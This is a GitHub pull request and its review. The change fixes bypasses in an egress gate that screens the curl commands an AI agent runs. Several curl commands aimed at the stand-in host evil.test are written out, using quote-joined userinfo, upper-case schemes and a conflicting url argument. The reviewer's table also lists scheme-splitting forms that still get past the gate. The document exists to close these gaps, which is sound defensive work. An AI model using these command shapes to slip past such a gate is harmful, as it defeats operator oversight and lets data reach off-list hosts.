Skip to content

fix(guardian): refuse quote-joined, upper-case and argument-masked egress URLs - #465

Open
4ktLuffy wants to merge 2 commits into
GenAI-Security-Project:integrationfrom
4ktLuffy:fix/egress-quote-join
Open

4ktLuffy wants to merge 2 commits into
GenAI-Security-Project:integrationfrom
4ktLuffy:fix/egress-quote-join

Conversation

@4ktLuffy

@4ktLuffy 4ktLuffy commented Nov 2, 2026

Copy link
Copy Markdown

What changed

Builds on #380, as asked in #373: the first commit is #380's, the second is this fix. Once #380 merges, only the second remains.

annotate-egress.ts now refuses the three shapes in #373:

  • A quote is no longer taken as the end of the URL unless the shell word ends there too. curl 'https://docs.anthropic.com'@evil.test/x and curl "https://docs.anthropic.com"@evil.test/x get the unresolved.invalid sentinel. curl "https://docs.anthropic.com/x" still answers the origin.
  • Both regexes are case-insensitive, so HTTPS://evil.test/x is found.
  • The annotator no longer stands down when the tool sent url, endpoint, host or domain. When the argument and the command disagree, the gate's two destination paths conflict and it denies with runtime_error:policy_invocation_failed, so it fails closed instead of open.

Trade-offs, both on the deny side: a call that carries both a destination argument and a command URL now always denies, and a URL closed by a quote inside a larger quoted word (a JSON body in -d '{...}') gets the sentinel. The four "stands down" tests asserted the old behaviour, so they now assert the new one.

Row 2 of the table as written has an unbalanced quote, so a real shell errors before curl runs. The balanced forms do reach evil.test; those are the ones in the curl corpus.

Which issue does this implement

Closes #373

  • This is an editorial correction (typo, grammar, link, formatting) with no change in
    meaning, so it needs no issue

Base branch

  • integration, because this touches the specification, schemas, a reference
    implementation, an adapter, tests, or CI
  • main, because every changed path is on the documentation lane allowlist in
    CONTRIBUTING.md

Type of change

  • Specification change (schema, hooks, events, AgBOM)
  • Reference implementation or adapter
  • Documentation
  • Tooling or CI
  • Governance (licensing, security policy, contributor docs)

I tested this

  • I synced my branch with the base branch before opening this
  • uv run pytest -v passes on my machine
  • uv run mkdocs build --strict passes on my machine

TypeScript only, so I ran the agt checks, on macOS with Bun 1.3.11 and curl 8.7.1:

  • The table in [Bug] The egress gate allows three curl shapes that reach an off-list host #373, through a real Guardian with the shipped policy: every row allowed before, every row denies now.
  • New unit tests in annotate-egress.test.ts, a gate-level test in server.test.ts, and three curl-measured rows in curl-resolved-hosts.json (quoted joins and HTTPS://). With the source change reverted, 19 tests fail; with it, all pass.
  • bun run typecheck clean; bun test 1308 pass, 4 skip, 0 fail.

Not tested: whether Claude Code forwards a url key on Bash, which #373 also leaves open.

Checklist

  • Commits are signed off with git commit -s (required by the DCO)
  • Prose follows STYLE.md
  • No secrets, tokens, or internal URLs in the diff

Security

  • This change has no security impact

It closes three egress-policy bypasses where a command reaching an off-list host was allowed.

\s also matches U+FEFF, U+00A0 and other Unicode spaces that the shell
keeps inside a word, so https://allowed<U+FEFF>@evil was annotated as the
allowed host while curl connected to evil. Keep those characters in the
match so UNAMBIGUOUS_AUTHORITY rejects the authority.

Closes GenAI-Security-Project#268

Signed-off-by: Henos D <henosd19@gmail.com>
…ress URLs

A quote ended the URL match even when the shell joined what followed onto
the word, so https://allowed'@evil reached evil while the annotator
answered the allowed host. The scheme match was case-sensitive, and a url,
endpoint, host or domain argument made the annotator stand down, letting
the command's own URL through unexamined.

Check that the shell word ends after the match, match case-insensitively,
and always answer for the command; a conflicting argument now denies.

Closes GenAI-Security-Project#373

Signed-off-by: Henos D <henosd19@gmail.com>
@github-actions

github-actions Bot commented Nov 2, 2026

Copy link
Copy Markdown

Thanks for this. It is queued rather than ignored. A lead has not reviewed this pull request yet. A lead will read it when they have time, and we can't promise a date. Nothing here is rejected. If a check below fails, please fix it. A pull request that waits a long time may be closed, and you can reopen it later.

@github-actions

github-actions Bot commented Nov 2, 2026

Copy link
Copy Markdown

This pull request's description says it closes #373, which is on the project roadmap. When it merges, GitHub closes that issue and the roadmap counts it as delivered. Please confirm the change delivers the whole issue before merging.

@drk-ram drk-ram left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed at 66c4480cd994707b0ed5d99143090c78c218d23d. Windows, Bun 1.4.4 (C:\Users\rdurga\AppData\Roaming\npm\node_modules\bun\bin\bun.exe), bun install --frozen-lockfile, ACS_OPA_PATH pointed at the bundled opa.exe (the bridge refuses to start without it on Windows).

Note for others: this head carries #380's commit as well (the #268 Unicode-space hunks), so I reviewed both.

Results

  • bun test packages/guardian/test/annotate-egress.test.ts: 77 pass, 0 fail, 108 expects, including the four new curl-differential rows.
  • bun test packages/guardian/test/server.test.ts: 55 pass, 1 fail. The one failure is strips this repo's absolute root out of a real error message at server.test.ts:857, which expects the substring specification/v0.1.0 and gets specification\v0.1.0\ on Windows. It is a path-separator assertion and not in the egress block. All of the new #373 tests (denies the shell shape that reaches an off-list host, three rows, and denies a shell command carrying an allowlisted url argument beside an off-list URL) pass through the shipped manifest.
  • bun test packages/guardian as a whole: 374 pass, 13 fail. The 13 are Windows platform assertions (0600 file modes, NO_PROXY/no_proxy case semantics, path separators). None touches annotate-egress or the egress gate.
  • bun run typecheck: clean.

Edge cases I probed against annotateEgressDestination

All five rows in #373 now deny, and the permitted shapes keep answering the origin. "curl \"https://docs.anthropic.com/x\"@evil.test", $'@', $X, a trailing backtick substitution, backslash-before-@, %2f@ and http://[::1] all get the sentinel. Good. I also confirmed that with a url argument present the shipped policy returns deny with reason code runtime_error:policy_invocation_failed. That matches the PR description's measurement.

Where it still answers {} (which the gate allows):

Command Answer
curl h""ttps://evil.test/x {}
curl 'ht'tps://evil.test/x {}
curl https:""//evil.test/x {}
curl $'\x68ttps://evil.test/x' {}

This is the same word-joining class that #373 fixes, applied to the scheme instead of the userinfo: the shell deletes the quotes, curl connects to evil.test, and \bhttps?:// never sees a contiguous scheme. I do not think this should block this PR, since #373 enumerates five specific rows and all five are closed. But Closes #373 reads as if the family is closed. I would either note the residual in the PR/README, or add a normalization pass: delete unescaped ', " and backslash from the raw command, rescan, and answer the sentinel if the rescan finds a URL the literal scan did not (or a different one). That keeps the over-block cost small, because it only fires when quote removal changes what a URL is.

Smaller points

  1. WORD_END_AFTER_MATCH and the match class both end a word at \r, \v and \f. The comment justifies ASCII-only on the grounds that "the shell does not split" on Unicode spaces, but bash splits on space, tab and newline only. Against curl 8.23.0 on this machine, https://docs.anthropic.com\r@evil.test/x and the \f variant are rejected (URL rejected: Bad user), so curl is safe. I only verified curl, and other clients may not reject control characters. Restricting the terminators to space, tab and newline would match the stated rationale.
  2. The new url-argument test asserts only decision: deny. The decision is a runtime_error:policy_invocation_failed, so an exfiltration attempt shows up as an engine fault rather than egress_destination_not_allowed. Pin reason_codes in the test so an AGT upgrade cannot change it silently, and say in the README that operators will see this code for this case. The design point I care about here is that the destination was derived from two caller-influenced channels, and failing closed on disagreement is the right call. That echoes the taint-tracked tool-invocation model in draft-durga-wimse-ctx-isolation-00 (an input that decides a security outcome should come from one provenance-tracked source), and it is consistent with the default-deny control-plane posture benchmarked in TR-2026-01 (10.5281/zenodo.23735274).
  3. reference-implementations/agt/README.md:515 still describes "a hand-copied list of four destination paths" and asks to "split the stand-down check out of the extractor". This PR deletes that list, so the open question is gone and should be removed.

Verdict: approve.

Raghuvar Karthik Durga (@drk-ram)

@acs-board-reconciler acs-board-reconciler Bot moved this from Needs triage to In progress in ACS Project Tracker Nov 3, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

status:needs-triage Not yet triaged. Applied by the issue forms

Projects

Status: In progress

Development

Successfully merging this pull request may close these issues.

[Bug] The egress gate allows three curl shapes that reach an off-list host

2 participants